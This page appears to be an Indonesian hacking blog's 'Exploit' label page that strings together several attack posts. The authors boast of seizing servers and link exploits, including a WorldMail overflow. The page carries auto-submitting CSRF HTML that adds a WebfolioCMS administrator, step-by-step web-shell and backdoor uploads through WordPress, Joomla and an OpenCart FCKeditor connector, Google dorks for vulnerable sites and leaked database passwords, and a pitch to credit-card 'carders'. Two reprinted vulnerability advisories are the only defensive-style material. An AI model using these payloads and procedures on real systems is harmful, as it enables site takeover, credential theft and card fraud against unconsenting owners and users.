WHAT'S NEW?
Loading...
Showing posts with label Exploit. Show all posts
Showing posts with label Exploit. Show all posts
Beberapa waktu lalu saya dan teman teman melakukan attacking dengan ke beberapa server yang ada di indonesia, namun hole / bugs yang ada belum bisa di attacking, dan baru kali ini kami sukses merebut kekuasaan server tersebut.

Melakukan attacking dengan exploit yang kami tunggu tunggu akhirnya membuahkan hasil yang memuaskan juga. Karena kami telah menguasain server itu dengan esploit berikut ini, semoga ketika anda melakukan attacking sama exploitnya dengan yang saya gunakan ini :




##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


Exploit :
http://www.exploit-db.com/exploits/18367/ 


Buat para hacker yang sering melakukan attacking dengan teknik take over server atau biasa disebut dengan LOCALROOT, kali ini kami mendapatkan exploit terbaru dari Linux Kernel 'net/ipv4/igmp.c'.

Baik kami akan berikan beberapa referensi pencegahan, diskusi dan exploit yang telah kami dapatkan :
Linux Kernel 'net/ipv4/igmp.c' Remote Denial of Service Vulnerability
 
Diskusi :

The Linux kernel is prone to a remote denial-of-service vulnerability involving the IGMP protocol implementation. Attackers can exploit this issue to cause a kernel crash, denying service to legitimate users.

 Exploit :
Currently we are not aware of any working exploits. If you feel we are in error or if you are aware of more recent information, please mail us at: vuldb@securityfocus.com.  


Bugtraq ID: 51343
Class: Failure to Handle Exceptional Conditions
CVE: CVE-2012-0207
Remote: Yes
Local: No
Published: Jan 09 2012 12:00AM
Updated: Jan 09 2012 12:00AM
Credit: Simon McVittie
Vulnerable: Linux kernel 2.6.39 rc4
Linux kernel 2.6.39
Linux kernel 2.6.38
Linux kernel 2.6.37
Linux kernel 2.6.37
Linux kernel 2.6.36
Linux kernel 2.6.35
Linux kernel 2.6.35
Linux kernel 2.6.35
Linux kernel 2.6.34
Linux kernel 2.6.34
Linux kernel 2.6.33 .1
Linux kernel 2.6.33
Linux kernel 2.6.32 .9
Linux kernel 2.6.32
Linux kernel 2.6.31 5
Linux kernel 2.6.31 13
Linux kernel 2.6.31 .2
Linux kernel 2.6.31 .11
Linux kernel 2.6.31 -rc7
Linux kernel 2.6.31 -rc6
Linux kernel 2.6.31 -rc3
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.31 -rc1
Linux kernel 2.6.31
Linux kernel 2.6.30 .10
Linux kernel 2.6.30 .1
Linux kernel 2.6.30 -rc6
Linux kernel 2.6.30 -rc5
Linux kernel 2.6.30 -rc3
Linux kernel 2.6.30 -rc2
Linux kernel 2.6.30 -rc1
Linux kernel 2.6.30
Linux kernel 2.6.29 .4
Linux kernel 2.6.29 .1
Linux kernel 2.6.29 -git8
Linux kernel 2.6.29 -git14
Linux kernel 2.6.29 -git1
Linux kernel 2.6.29
Linux kernel 2.6.28 .9
Linux kernel 2.6.28 .8
Linux kernel 2.6.28 .6
Linux kernel 2.6.28 .5
Linux kernel 2.6.28 .3
Linux kernel 2.6.28 .2
Linux kernel 2.6.28 .1
Linux kernel 2.6.28 -rc7
Linux kernel 2.6.28 -rc5
Linux kernel 2.6.28 -rc1
Linux kernel 2.6.28 -git7
Linux kernel 2.6.28
Linux kernel 2.6.27 6
Linux kernel 2.6.27 3
Linux kernel 2.6.27 12
Linux kernel 2.6.27 .8
Linux kernel 2.6.27 .5
Linux kernel 2.6.27 .5
Linux kernel 2.6.27 .46
Linux kernel 2.6.27 .24
Linux kernel 2.6.27 .14
Linux kernel 2.6.27 .13
Linux kernel 2.6.27 .12
Linux kernel 2.6.27 -rc8-git5
Linux kernel 2.6.27 -rc8
Linux kernel 2.6.27 -rc6-git6
Linux kernel 2.6.27 -rc6
Linux kernel 2.6.27 -rc5
Linux kernel 2.6.27 -rc4
Linux kernel 2.6.27 -rc2
Linux kernel 2.6.27 -rc1
Linux kernel 2.6.27
Linux kernel 2.6.26 7
Linux kernel 2.6.26 .6
Linux kernel 2.6.26 .4
Linux kernel 2.6.26 .3
Linux kernel 2.6.26 -rc6
Linux kernel 2.6.26
Linux kernel 2.6.25 19
Linux kernel 2.6.25 .9
Linux kernel 2.6.25 .8
Linux kernel 2.6.25 .7
Linux kernel 2.6.25 .6
Linux kernel 2.6.25 .5
Linux kernel 2.6.25 .15
Linux kernel 2.6.25 .13
Linux kernel 2.6.25 .12
Linux kernel 2.6.25 .11
Linux kernel 2.6.25 .10
Linux kernel 2.6.25
Linux kernel 2.6.24 .2
Linux kernel 2.6.24 .1
Linux kernel 2.6.24 -rc5
Linux kernel 2.6.24 -rc4
Linux kernel 2.6.24 -rc3
Linux kernel 2.6.24 -git13
Linux kernel 2.6.24
Linux kernel 2.6.23 .7
Linux kernel 2.6.23 .7
Linux kernel 2.6.23 .6
Linux kernel 2.6.23 .6
Linux kernel 2.6.23 .5
Linux kernel 2.6.23 .5
Linux kernel 2.6.23 .4
Linux kernel 2.6.23 .4
Linux kernel 2.6.23 .3
Linux kernel 2.6.23 .3
Linux kernel 2.6.23 .2
Linux kernel 2.6.23 .2
Linux kernel 2.6.23 -rc2
Linux kernel 2.6.23 -rc1
Linux kernel 2.6.23
Linux kernel 2.6.23
Linux kernel 2.6.22 rc6
Linux kernel 2.6.22 .8
Linux kernel 2.6.22 .7
Linux kernel 2.6.22 .7
Linux kernel 2.6.22 .6
Linux kernel 2.6.22 .6
Linux kernel 2.6.22 .5
Linux kernel 2.6.22 .5
Linux kernel 2.6.22 .4
Linux kernel 2.6.22 .4
Linux kernel 2.6.22 .3
Linux kernel 2.6.22 .3
Linux kernel 2.6.22 .2
Linux kernel 2.6.22 .17
Linux kernel 2.6.22 .16
Linux kernel 2.6.22 .15
Linux kernel 2.6.22 .14
Linux kernel 2.6.22 .13
Linux kernel 2.6.22 .12
Linux kernel 2.6.22 .11
Linux kernel 2.6.22 .1
Linux kernel 2.6.22
Linux kernel 2.6.22
Linux kernel 2.6.21 rc7
Linux kernel 2.6.21 git5
Linux kernel 2.6.21 git4
Linux kernel 2.6.21 git3
Linux kernel 2.6.21 git2
Linux kernel 2.6.21 git1
Linux kernel 2.6.21 git 7
Linux kernel 2.6.21 git 6
Linux kernel 2.6.21 4
Linux kernel 2.6.21 .7
Linux kernel 2.6.21 .6
Linux kernel 2.6.21 .3
Linux kernel 2.6.21 .2
Linux kernel 2.6.21 .1
Linux kernel 2.6.21 -git8
Linux kernel 2.6.21
Linux kernel 2.6.20 .9
Linux kernel 2.6.20 .8
Linux kernel 2.6.20 .7
Linux kernel 2.6.20 .6
Linux kernel 2.6.20 .5
Linux kernel 2.6.20 .4
Linux kernel 2.6.20 .15
Linux kernel 2.6.20 .14
Linux kernel 2.6.20 .12
Linux kernel 2.6.20 .10
Linux kernel 2.6.20 .1
Linux kernel 2.6.20 -git5
Linux kernel 2.6.20
Linux kernel 2.6.19 .4
Linux kernel 2.6.19 .3
Linux kernel 2.6.19 .2
Linux kernel 2.6.19 .1
Linux kernel 2.6.19 -rc4
Linux kernel 2.6.19 -rc3
Linux kernel 2.6.19 -rc2
Linux kernel 2.6.19 -rc1
Linux kernel 2.6.19
Linux kernel 2.6.18 rc7
Linux kernel 2.6.18 rc6
Linux kernel 2.6.18 rc5
Linux kernel 2.6.18 rc4
Linux kernel 2.6.18 rc3
Linux kernel 2.6.18 rc2
Linux kernel 2.6.18 rc1
Linux kernel 2.6.18 .8
Linux kernel 2.6.18 .7
Linux kernel 2.6.18 .6
Linux kernel 2.6.18 .5
Linux kernel 2.6.18 .4
Linux kernel 2.6.18 .4
Linux kernel 2.6.18 .3
Linux kernel 2.6.18 .3
Linux kernel 2.6.18 .2
Linux kernel 2.6.18 .1
Linux kernel 2.6.17 rc6
Linux kernel 2.6.17 rc4
Linux kernel 2.6.17 rc3
Linux kernel 2.6.17 rc2
Linux kernel 2.6.17 rc1
Linux kernel 2.6.17 .9
Linux kernel 2.6.17 .9
Linux kernel 2.6.17 .8
Linux kernel 2.6.17 .8
Linux kernel 2.6.17 .7
Linux kernel 2.6.17 .7
Linux kernel 2.6.17 .6
Linux kernel 2.6.17 .6
Linux kernel 2.6.17 .5
Linux kernel 2.6.17 .5
Linux kernel 2.6.17 .4
Linux kernel 2.6.17 .4
Linux kernel 2.6.17 .3
Linux kernel 2.6.17 .3
Linux kernel 2.6.17 .2
Linux kernel 2.6.17 .2
Linux kernel 2.6.17 .14
Linux kernel 2.6.17 .14
Linux kernel 2.6.17 .13
Linux kernel 2.6.17 .13
Linux kernel 2.6.17 .12
Linux kernel 2.6.17 .12
Linux kernel 2.6.17 .11
Linux kernel 2.6.17 .11
Linux kernel 2.6.17 .10
Linux kernel 2.6.17 .10
Linux kernel 2.6.17 .1
Linux kernel 2.6.17 .1
Linux kernel 2.6.17 -rc5
Linux kernel 2.6.17
Linux kernel 2.6.17
Linux kernel 2.6.16 rc6
Linux kernel 2.6.16 rc5
Linux kernel 2.6.16 rc4
Linux kernel 2.6.16 rc3
Linux kernel 2.6.16 rc2
Linux kernel 2.6.16 27
Linux kernel 2.6.16 13
Linux kernel 2.6.16 .9
Linux kernel 2.6.16 .8
Linux kernel 2.6.16 .8
Linux kernel 2.6.16 .7
Linux kernel 2.6.16 .6
Linux kernel 2.6.16 .53
Linux kernel 2.6.16 .52
Linux kernel 2.6.16 .51
Linux kernel 2.6.16 .50
Linux kernel 2.6.16 .5
Linux kernel 2.6.16 .5
Linux kernel 2.6.16 .49
Linux kernel 2.6.16 .48
Linux kernel 2.6.16 .47
Linux kernel 2.6.16 .46
Linux kernel 2.6.16 .45
Linux kernel 2.6.16 .44
Linux kernel 2.6.16 .43
Linux kernel 2.6.16 .41
Linux kernel 2.6.16 .40
Linux kernel 2.6.16 .4
Linux kernel 2.6.16 .4
Linux kernel 2.6.16 .39
Linux kernel 2.6.16 .38
Linux kernel 2.6.16 .37
Linux kernel 2.6.16 .36
Linux kernel 2.6.16 .35
Linux kernel 2.6.16 .34
Linux kernel 2.6.16 .33
Linux kernel 2.6.16 .32
Linux kernel 2.6.16 .31
Linux kernel 2.6.16 .30
Linux kernel 2.6.16 .3
Linux kernel 2.6.16 .3
Linux kernel 2.6.16 .29
Linux kernel 2.6.16 .28
Linux kernel 2.6.16 .27
Linux kernel 2.6.16 .26
Linux kernel 2.6.16 .25
Linux kernel 2.6.16 .24
Linux kernel 2.6.16 .23
Linux kernel 2.6.16 .23
Linux kernel 2.6.16 .23
Linux kernel 2.6.16 .22
Linux kernel 2.6.16 .21
Linux kernel 2.6.16 .21
Linux kernel 2.6.16 .20
Linux kernel 2.6.16 .2
Linux kernel 2.6.16 .2
Linux kernel 2.6.16 .19
Linux kernel 2.6.16 .18
Linux kernel 2.6.16 .18
Linux kernel 2.6.16 .17
Linux kernel 2.6.16 .17
Linux kernel 2.6.16 .16
Linux kernel 2.6.16 .16
Linux kernel 2.6.16 .15
Linux kernel 2.6.16 .14
Linux kernel 2.6.16 .12
Linux kernel 2.6.16 .11
Linux kernel 2.6.16 .10
Linux kernel 2.6.16 .1
Linux kernel 2.6.16 -rc1
Linux kernel 2.6.16
Linux kernel 2.6.16
Linux kernel 2.6.15 rc7
Linux kernel 2.6.15 .7
Linux kernel 2.6.15 .6
Linux kernel 2.6.15 .6
Linux kernel 2.6.15 .4
Linux kernel 2.6.15 .3
Linux kernel 2.6.15 .3
Linux kernel 2.6.15 .2
Linux kernel 2.6.15 .1
Linux kernel 2.6.15 .1
Linux kernel 2.6.15 -rc6
Linux kernel 2.6.15 -rc5
Linux kernel 2.6.15 -rc4
Linux kernel 2.6.15 -rc3
Linux kernel 2.6.15 -rc2
Linux kernel 2.6.15 -rc1
Linux kernel 2.6.15
Linux kernel 2.6.15
Linux kernel 2.6.14 .7
Linux kernel 2.6.14 .6
Linux kernel 2.6.14 .5
Linux kernel 2.6.14 .5
Linux kernel 2.6.14 .4
Linux kernel 2.6.14 .4
Linux kernel 2.6.14 .3
Linux kernel 2.6.14 .2
Linux kernel 2.6.14 .1
Linux kernel 2.6.14 -rc5
Linux kernel 2.6.14 -rc4
Linux kernel 2.6.14 -rc3
Linux kernel 2.6.14 -rc2
Linux kernel 2.6.14 -rc1
Linux kernel 2.6.14
Linux kernel 2.6.14
Linux kernel 2.6.13 rc5
Linux kernel 2.6.13 rc3
Linux kernel 2.6.13 rc2
Linux kernel 2.6.13 .5
Linux kernel 2.6.13 .4
Linux kernel 2.6.13 .3
Linux kernel 2.6.13 .2
Linux kernel 2.6.13 .1
Linux kernel 2.6.13 -rc7
Linux kernel 2.6.13 -rc6
Linux kernel 2.6.13 -rc4
Linux kernel 2.6.13 -rc1
Linux kernel 2.6.13
Linux kernel 2.6.13
Linux kernel 2.6.12 rc6
Linux kernel 2.6.12 rc3
Linux kernel 2.6.12 rc2
Linux kernel 2.6.12 .6
Linux kernel 2.6.12 .5
Linux kernel 2.6.12 .4
Linux kernel 2.6.12 .3
Linux kernel 2.6.12 .22
Linux kernel 2.6.12 .2
Linux kernel 2.6.12 .12
Linux kernel 2.6.12 .1
Linux kernel 2.6.12 -rc5
Linux kernel 2.6.12 -rc4
Linux kernel 2.6.12 -rc1
Linux kernel 2.6.12
Linux kernel 2.6.12
Linux kernel 2.6.11 rc5
Linux kernel 2.6.11 rc1
Linux kernel 2.6.11 .9
Linux kernel 2.6.11 .8
Linux kernel 2.6.11 .7
Linux kernel 2.6.11 .6
Linux kernel 2.6.11 .5
Linux kernel 2.6.11 .4
Linux kernel 2.6.11 .3
Linux kernel 2.6.11 .2
Linux kernel 2.6.11 .12
Linux kernel 2.6.11 .11
Linux kernel 2.6.11 .10
Linux kernel 2.6.11 .1
Linux kernel 2.6.11 -rc4
Linux kernel 2.6.11 -rc3
Linux kernel 2.6.11 -rc2
Linux kernel 2.6.11
Linux kernel 2.6.11
Linux kernel 2.6.10 rc3
Linux kernel 2.6.10 rc2
Linux kernel 2.6.10 rc1
Linux kernel 2.6.10
Linux kernel 2.6.10
Linux kernel 2.6.9 rc4
Linux kernel 2.6.9 rc3
Linux kernel 2.6.9 rc2
Linux kernel 2.6.9 rc1
Linux kernel 2.6.9 final
Linux kernel 2.6.9
Linux kernel 2.6.9
Linux kernel 2.6.8 rc4
Linux kernel 2.6.8 rc3
Linux kernel 2.6.8 rc2
Linux kernel 2.6.8 rc1
+ Ubuntu Ubuntu Linux 4.1 ppc
 + Ubuntu Ubuntu Linux 4.1 ia64
 + Ubuntu Ubuntu Linux 4.1 ia32
 Linux kernel 2.6.8
Linux kernel 2.6.8
Linux kernel 2.6.7 rc3
Linux kernel 2.6.7 rc2
Linux kernel 2.6.7 rc1
Linux kernel 2.6.7
Linux kernel 2.6.7
Linux kernel 2.6.6 rc3
Linux kernel 2.6.6 rc2
Linux kernel 2.6.6 rc1
Linux kernel 2.6.6
Linux kernel 2.6.6
Linux kernel 2.6.5 rc3
Linux kernel 2.6.5 rc2
Linux kernel 2.6.5 rc1
Linux kernel 2.6.5
Linux kernel 2.6.5
Linux kernel 2.6.4 rc3
Linux kernel 2.6.4 rc2
Linux kernel 2.6.4 rc1
Linux kernel 2.6.4
Linux kernel 2.6.4
Linux kernel 2.6.3 rc4
Linux kernel 2.6.3 rc3
Linux kernel 2.6.3 rc2
Linux kernel 2.6.3 rc1
Linux kernel 2.6.3
Linux kernel 2.6.3
Linux kernel 2.6.2 rc3
Linux kernel 2.6.2 rc2
Linux kernel 2.6.2 rc1
Linux kernel 2.6.2
Linux kernel 2.6.2
Linux kernel 2.6.1 rc3
Linux kernel 2.6.1 0
Linux kernel 2.6.1 -rc2
Linux kernel 2.6.1 -rc1
Linux kernel 2.6.1
Linux kernel 2.6 .10
Linux kernel 2.6 -test9-CVS
Linux kernel 2.6 -test9
Linux kernel 2.6 -test8
Linux kernel 2.6 -test7
Linux kernel 2.6 -test6
Linux kernel 2.6 -test5
Linux kernel 2.6 -test4
Linux kernel 2.6 -test3
Linux kernel 2.6 -test2
Linux kernel 2.6 -test11
Linux kernel 2.6 -test10
Linux kernel 2.6 -test1
Linux kernel 2.6
Linux kernel 2.6.8.1
Linux kernel 2.6.8.1
Linux kernel 2.6.39-rc6
Linux kernel 2.6.39-rc3
Linux kernel 2.6.38.6
Linux kernel 2.6.38.4
Linux kernel 2.6.38.3
Linux kernel 2.6.38.2
Linux kernel 2.6.38-rc7
Linux kernel 2.6.38-rc4
Linux kernel 2.6.38-rc2
Linux kernel 2.6.38-git18
Linux kernel 2.6.37rc
Linux kernel 2.6.37-rc7
Linux kernel 2.6.37-rc2
Linux kernel 2.6.37-rc1
Linux kernel 2.6.36.2 (stable)
Linux kernel 2.6.36-rc8
Linux kernel 2.6.36-rc6
Linux kernel 2.6.36-rc5
Linux kernel 2.6.36-rc4
Linux kernel 2.6.36-rc1
Linux kernel 2.6.35.5
Linux kernel 2.6.35.4
Linux kernel 2.6.35.1
Linux kernel 2.6.35.1
Linux kernel 2.6.35-rc6
Linux kernel 2.6.35-rc5-git5
Linux kernel 2.6.35-rc5
Linux kernel 2.6.35-rc4
Linux kernel 2.6.35-rc1
Linux kernel 2.6.34.3
Linux kernel 2.6.34.2
Linux kernel 2.6.34.1
Linux kernel 2.6.34-rc6
Linux kernel 2.6.34-rc5
Linux kernel 2.6.34-rc4
Linux kernel 2.6.34-rc2-git1
Linux kernel 2.6.34-rc2
Linux kernel 2.6.34-rc1
Linux kernel 2.6.33.7
Linux kernel 2.6.33-rc8
Linux kernel 2.6.33-rc7
Linux kernel 2.6.33-rc7
Linux kernel 2.6.33-rc6-git5
Linux kernel 2.6.33-rc6
Linux kernel 2.6.33-rc5
Linux kernel 2.6.33-rc4
Linux kernel 2.6.32.8
Linux kernel 2.6.32.7
Linux kernel 2.6.32.6
Linux kernel 2.6.32.5
Linux kernel 2.6.32.4
Linux kernel 2.6.32.3
Linux kernel 2.6.32.28
Linux kernel 2.6.32.22
Linux kernel 2.6.32.2
Linux kernel 2.6.32.18
Linux kernel 2.6.32.17
Linux kernel 2.6.32.16
Linux kernel 2.6.32.15
Linux kernel 2.6.32.14
Linux kernel 2.6.32.13
Linux kernel 2.6.32.12
Linux kernel 2.6.32.11
Linux kernel 2.6.32.10
Linux kernel 2.6.32.1
Linux kernel 2.6.32-rc8
Linux kernel 2.6.32-rc7
Linux kernel 2.6.32-rc5
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.32-rc4
Linux kernel 2.6.32-rc3
Linux kernel 2.6.32-rc2
Linux kernel 2.6.32-rc1
Linux kernel 2.6.31.6
Linux kernel 2.6.31.4
Linux kernel 2.6.31.1
Linux kernel 2.6.31-rc9
Linux kernel 2.6.31-rc8
Linux kernel 2.6.31-rc5-git3
Linux kernel 2.6.31-rc4
Linux kernel 2.6.31-rc2
Linux kernel 2.6.31-git11
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.30.5
Linux kernel 2.6.30.4
Linux kernel 2.6.30.3
Linux kernel 2.6.29-rc2-git1
Linux kernel 2.6.29-rc2
Linux kernel 2.6.29-rc1
Linux kernel 2.6.28.4
Linux kernel 2.6.28.10
Linux kernel 2.6.28-rc7
Linux kernel 2.6.28-rc6
Linux kernel 2.6.28-rc5
Linux kernel 2.6.28-rc5
Linux kernel 2.6.28-rc4
Linux kernel 2.6.27.54
Linux kernel 2.6.27.51
Linux kernel 2.6.27.49
Linux kernel 2.6.27.26
Linux kernel 2.6.27-git3
Linux kernel 2.6.26.1
Linux kernel 2.6.26-rc5-git1
Linux kernel 2.6.25.4
Linux kernel 2.6.25.3
Linux kernel 2.6.25.2
Linux kernel 2.6.25.1
Linux kernel 2.6.25-rc1
Linux kernel 2.6.24.6
Linux kernel 2.6.24.4
Linux kernel 2.6.24.3
Linux kernel 2.6.24-rc2
Linux kernel 2.6.24-rc1
Linux kernel 2.6.24 Rc3
Linux kernel 2.6.24 Rc2
Linux kernel 2.6.23.14
Linux kernel 2.6.23.10
Linux kernel 2.6.23.1
Linux kernel 2.6.23.1
Linux kernel 2.6.23.09
Linux kernel 2.6.23 Rc2
Linux kernel 2.6.22-rc7
Linux kernel 2.6.22-rc1
Linux kernel 2.6.21-RC6
Linux kernel 2.6.21-RC5
Linux kernel 2.6.21-RC4
Linux kernel 2.6.21-RC3
Linux kernel 2.6.20.3
Linux kernel 2.6.20.2
Linux kernel 2.6.20.13
Linux kernel 2.6.20.11
Linux kernel 2.6.20-rc2
Linux kernel 2.6.20-2
Linux kernel 2.6.19 -rc6
Linux kernel 2.6.18.1
Linux kernel 2.6.18-8.1.8.el5
Linux kernel 2.6.18-53
Linux kernel 2.6.18
Linux kernel 2.6.16.9
Linux kernel 2.6.16.7
Linux kernel 2.6.16.19
Linux kernel 2.6.16.13
Linux kernel 2.6.16.12
Linux kernel 2.6.16.11
Linux kernel 2.6.15.5
Linux kernel 2.6.15.5
Linux kernel 2.6.15.4
Linux kernel 2.6.15.11
Linux kernel 2.6.15-27.48
Linux kernel 2.6.14.3
Linux kernel 2.6.14.2
Linux kernel 2.6.14.1
Linux kernel 2.6.13.4
Linux kernel 2.6.13.3
Linux kernel 2.6.13.2
Linux kernel 2.6.13.1
Linux kernel 2.6.12.6
Linux kernel 2.6.12.5
Linux kernel 2.6.12.4
Linux kernel 2.6.12.3
Linux kernel 2.6.12.2
Linux kernel 2.6.12.1
Linux kernel 2.6.11.8
Linux kernel 2.6.11.7
Linux kernel 2.6.11.6
Linux kernel 2.6.11.5
Linux kernel 2.6.11.4
Linux kernel 2.6.11.12
Linux kernel 2.6.11.11
Linux kernel 2.6.0


## Exploit Title: WorldMail imapd 3.0 SEH overflow (egg hunter)
## Tested on: XP SP3 en-us
## Author: TheXero
## Website: www.thexero.co.uk
## http://www.nullsecurity.net

Exploit terbaru dari World Mail bisa anda gunakan ketika akan melakukan attacking kepada seseorang yang sama versi dengan exploit yang kami punya.
Mudah saja menggunakan exploit / tools ini, anda cukup running dari komputer anda sendiri dan langsung tools akan menjalankan misi attackingnya dengan sendirinya. Berikut exploitnya :



Exploit : 
http://www.exploit-db.com/exploits/18354/

Thank's To Code Security


Wolf CMS is a content management system and is Free Software published
under the GNU General
Public License v3. Wolf CMS is written in the PHP programming language.
Wolf CMS is a fork of Frog CMS.
The project was a finalistin the 2010 Packt Publishing s Open Source awards
for the Most Promising
Open Source Project category. As of the 28th of December 2010, the Wolf CMS
code repository was moved
from Google Code to Github.
( Copy of the Vendor Homepage: http://en.wikipedia.org/wiki/Wolf_CMS )
Abstract:
=========
Vulnerability Laboratory Research Team discovered multiple Web
Vulnerabilities on the Wolf Content Management System v0.7.5
Report-Timeline:
================
2012-02-11: Vendor Notification
2012-02-27: Public or Non-Public Disclosure
Status:
========
Published
Affected Products:
==================
BlueWin CH
Product: Wolf CMS v0.7.5
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
1.1
A SQL Injection vulnerability is detected on the Wolfs Content Management
System v0.7.5. The
vulnerability allows an remote attacker to execute own sql commands on the
affected application
dbms. Successful exploitation can result in dbms, web-server or application
compromise.
Vulnerable Module(s):
[+] /plugins/comment/[Index]
Picture(s):
../1.png
1.2
Multiple persistent vulnerabilities are detected on the Wolfs Content
Management System v0.7.5.
The bug allows an remote attacker or local low privileged user account to
inject persistent malicious
script code on application side. Successful exploitation can result in
persistent context manipulation
on requests, session hijacking & account steal via application side
phishing.
Vulnerable Module(s):
[+] /plugins/comment/
Picture(s):
../2.png
Proof of Concept:
=================
The vulnerabilities can be exploited by remote attackers & local low
privileged user accounts with- and
without required user inter action. For demonstration or reproduce ...
1.1
Path: /wolfcms/wolf/plugins/comment/
File: index.php
Review:
271: $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ?
$_SERVER['HTTP_X_FORWARDED_FOR']:($_SERVER['REMOTE_ADDR']);
1.2
Path: /wolfcms/wolf/plugins/comment/
File: index.php
Review:
/wolfcms/wolf/plugins/comment/index.php
272: echo '<input type="hidden" value="'.$ip.'" name="comment[author_ip]"
/>';
Risk:
=====
1.1
The security risk of the blind sql injection vulnerabilities are estimated
as high(+).
1.2
The security risk of the persistant xss vulnerabilities are estimated as
medium(+).
Credits:
========
Vulnerability Research Laboratory - Ucha Gobejishvili (longrifle0x)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any
warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including
direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have
been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially
usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.
Copyright � 2012|Vulnerability-Lab


1)Introduction
Webfolio CMS "is a free, open-source, customized content management system, whose main purpose is creation of web sites for
presenting someone's work, and portfolio-like websites".
2)Vulnerabilities Description
WebfolioCMS 1.1.4 (and lower) is affected by a CSRF Vulnerability which allows an attacker to add a new administrator, modify a
web pages, and change may any other WebfolioCMS's parameter. In this document I will demonstrate how to add an
administrator account and how to modify an existing and published web pages. other parameters can be modified with little changes.

3)Exploit
 3.1 Add Administrator
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2>CSRF Exploit to add ADMIN account</H2>
 <form method="POST" name="form0" action="http://<webfolio_ip>:80/admin/users/add ">
 <input type="hidden" name="user[username]" value="new_admin"/>
 <input type="hidden" name="user[email]" value="admin@admin.com"/>
 <input type="hidden" name="user_meta[firstName]" value="admin_firstname"/>
 <input type="hidden" name="user_meta[lastName]" value="admin_lastname"/>
 <input type="hidden" name="user[password]" value="password"/>
 <input type="hidden" name="re_password" value="password"/>
 <input type="hidden" name="user[groupId]" value="1"/>
 <input type="hidden" name="add" value="Add"/>
 </form>
 </body>
 </html>
  3.2 Modify Web Page
  <html>
  <body onload="javascript:document.forms[0].submit()">
  <H2>CSRF Exploit to Modify published web page</H2>
  <form method="POST" name="form0" action="http://<webfolio_ip>:80/admin/pages/edit/web_page_name">
  <input type="hidden" name="title" value="new_title"/>
  <input type="hidden" name="text" value="new_text"/>
  <input type="hidden" name="id" value="1"/>
  <input type="hidden" name="titleUrlFormat" value="test"/>
  <input type="hidden" name="save" value="Save"/>
  </form>
  </body>
  </html>


langsung aja share sedikit cara upload shell via plugin 

1. rubah/jadikan shell anda ke dalam bentuk file .zip
http://prntscr.com/oq3l8

2. login ke dalam web yang akan di colikan -_-


3. setelah masuk, go to plugin ---> add new
http://prntscr.com/oq431

4. klik tab upload
 http://prntscr.com/oq495

5. Upload shel yang sudah dijadikan .zip tadi
setelah selesai, pasti akan seperti ini


6. shell sudah di upload. cara memanggilnya dengan cara memainkan url

http://www.site.com/wp-content/upgrade/namafile(nama file .zipnya)/isifile.php

MISAL NAMA FILE .zip NYA "coli.zip" maka commandnya
http://www.site.com/wp-content/upgrade/hacker/hacker.php

hasil
http://prntscr.com/oq6l8

SEMOGA TUTOR INI BERMANFAAT


Tadinya ane agak susah upload backdoor di joomla,pas mikir” baru inget ada temen yg pernah make cara ini. Ok deh langsung Praktek aja :


2. Upload Plugins yg tadi, Cara’y ente Liat Extensions trs klik Install/Uninstall disitu ada tombol Upload Nahh..Silahkan upload Plugins’y. tunggu beberapa saat sampe install Plugins selesai

3. OK…klo dah selesai Upload Plugins and selesai install, selanjut’y arahkan mouse ke Tab Components. Nah udah ke install kan Plugins yg tadi kita Upload, Selanjut’y masuk ke directory Plugins NinjaXplorer Tampilan’y seperti ini :


4. Selesai Upload Backdoor, nanti backdoor kita berada di :
http://www.target.com/news/backdoor.php  atau  http://www.target.com/backdoor.php


Buat para carder di dunia, memang sulit mencari card credit untuk saat ini, tapi masih banyak exploit yang masih dapat anda gunakan untuk mencari itu semua, seperti teman teman code security yang masih mencari dan menggila masalah credit card dan paypal.

Lalu seperti apa exploitnya? mungkin beberapa waktu lalu sangat banyak orang mencari oscommerce, sering saya mendapatkan web yang Vulnerability dengan exploit lama. 

Langusng aja biar teman teman dapat mencoba dengan exploit buat para carder di mana saja.


#Google dork: [inurl:Powered By OpenCart
#Software Link: http://www.opencart.com/index.php?route=download/download
#Platform :linux/php


# http://target.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

# Example site: http://server
# Select the "File Upload" To use = php
# http://server/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html
# Sh3ll : http://server/admin/view/javascript/fckeditor/editor/filemanager/connectors/php/shell.php
# OR
# http://server/shell.php
 

#Demo : 

  1. http://www.site.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html# 
  2. http://www.site.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html#


Kali ini kami mau share tutorial baru mengenai Inject untuk ngedapetin Username + password oke kita langsung menuju topik pembahasan.
dork : filetype:ini “pdo_mysql” (pass|passwd|password|pwd)
1. masukkan dork tersebut ke mesin pencarian “google”
2. pilih web dari hasil pencarian tersebut dan klik kanan untuk membuat tab baru
3. carilah kata-kata yang berbau username dan password


 
 semoga bermanfaat.


Nmap adalah sebuah tool pemeta jaringan yang banyak di pakai oleh hacker. Banyak metode scanning yang bisa dilakukan oleh nmap dan salah satunya adalah -sT scanning.

Hal lain yang dapat kamu lakukan dengan -sT scanning adalah DoS (Denial of Service) sebuah Host.
seperti contoh dibawah ini….. (don’t blame me for this…..!!)

